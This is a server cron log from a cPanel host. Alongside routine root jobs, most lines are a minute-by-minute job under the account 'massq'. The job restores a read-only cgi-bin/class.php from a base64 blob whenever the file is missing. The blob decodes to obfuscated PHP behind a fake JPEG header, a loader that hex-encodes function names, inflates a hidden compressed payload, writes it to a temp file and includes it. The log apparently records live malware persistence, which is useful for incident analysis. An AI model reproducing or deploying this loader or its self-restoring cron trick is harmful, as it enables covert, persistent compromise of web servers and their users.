Sep  5 19:22:01 server CROND[14820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:22:01 server CROND[14821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:22:01 server CROND[14822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:23:01 server CROND[15190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:23:01 server CROND[15192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:23:01 server CROND[15191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:24:01 server CROND[15563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:24:01 server CROND[15564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:24:01 server CROND[15565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:25:01 server CROND[15936]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:25:01 server CROND[15937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:25:01 server CROND[15939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:25:01 server CROND[15944]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:25:01 server CROND[15941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:25:01 server CROND[15947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:25:01 server CROND[15946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:26:01 server CROND[16816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:26:01 server CROND[16817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:26:01 server CROND[16818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:27:01 server CROND[17267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:27:01 server CROND[17268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:27:01 server CROND[17269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:27:01 server CROND[17270]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 19:28:01 server CROND[17690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:28:01 server CROND[17691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:28:01 server CROND[17692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:29:01 server CROND[18071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:29:01 server CROND[18072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:29:01 server CROND[18073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:30:01 server CROND[18467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:30:01 server CROND[18468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:30:01 server CROND[18470]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:30:01 server CROND[18471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:30:01 server CROND[18472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:30:01 server CROND[18474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:30:01 server CROND[18473]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:30:01 server CROND[18469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:31:01 server CROND[19308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:31:01 server CROND[19310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:31:01 server CROND[19309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:32:01 server CROND[19685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:32:01 server CROND[19686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:32:01 server CROND[19687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:33:01 server CROND[20169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:33:01 server CROND[20170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:33:01 server CROND[20171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:34:01 server CROND[20547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
